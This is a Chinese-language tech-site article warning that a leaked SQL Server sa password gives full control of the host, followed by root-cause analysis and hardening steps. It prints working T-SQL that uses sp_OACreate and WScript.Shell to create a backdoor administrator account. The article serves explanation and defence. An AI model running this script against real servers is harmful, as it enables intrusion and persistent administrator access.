萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

SQL Server 致命隱患:sa 帳號密碼外洩導致系統完全淪陷

SQL Server sa 帳號權限相當於作業系統 Administrator,其密碼外洩後果極其嚴重。駭客可在查詢分析器執行以下 T-SQL,利用 sp_OACreate/sp_OAMethod 呼叫 COM 自動化物件 WScript.Shell 執行系統指令:

DECLARE @object INT
EXEC sp_OACreate 'WScript.Shell', @object OUT
EXEC sp_OAMethod @object, 'Run', NULL, 'net user iamhacker opendoor /add'
EXEC sp_OAMethod @object, 'Run', NULL, 'net localgroup Administrators iamhacker /add'
EXEC sp_OAMethod @object, 'Run', NULL, 'net localgroup Users iamhacker /del'

實測可成功建立 iamhacker/opendoor 並加入 Administrators 群組、移除 Users 群組,取得系統完整控制權。

根本原因分析

  • 核心在於 SQL Server 能透過 COM Automation 呼叫 WScript.Shell.Run 執行任意命令。
  • SQL Server 服務預設以 SYSTEM 權限 執行,故衍生進程同具 SYSTEM 權限(可驗證:呼叫 Notepad 會出現 SYSTEM 權限的 notepad.exe 進程)。
  • WScript.Shell 安全隱患早已知,未料 SQL Server 亦受波及。

緩解對策

  1. 嚴守 sa 密碼機密性: 強制複雜密碼、定期輪換、嚴禁硬編碼於應用程式。
  2. 最小權限原則: 應用程式使用最低權限 SQL 登入,禁用 sa 或重命名並停用。
  3. 停用不必要的擴展預存程序: sp_OACreate、sp_OAMethod、xp_cmdshell 等若非業務必須,務必刪除或拒絕 PUBLIC 執行權限。
  4. 降低 SQL Server 服務帳號權限: 改用專用低權限網域帳號運行,而非 SYSTEM。
  5. 啟用稽核: 記錄失敗登入與敏感預存程序呼叫。

資料庫層面的失守即意味著作業系統層面的淪陷,sa 密碼管理容不得半點馬虎。

copyright © 萬盛學電腦網 all rights reserved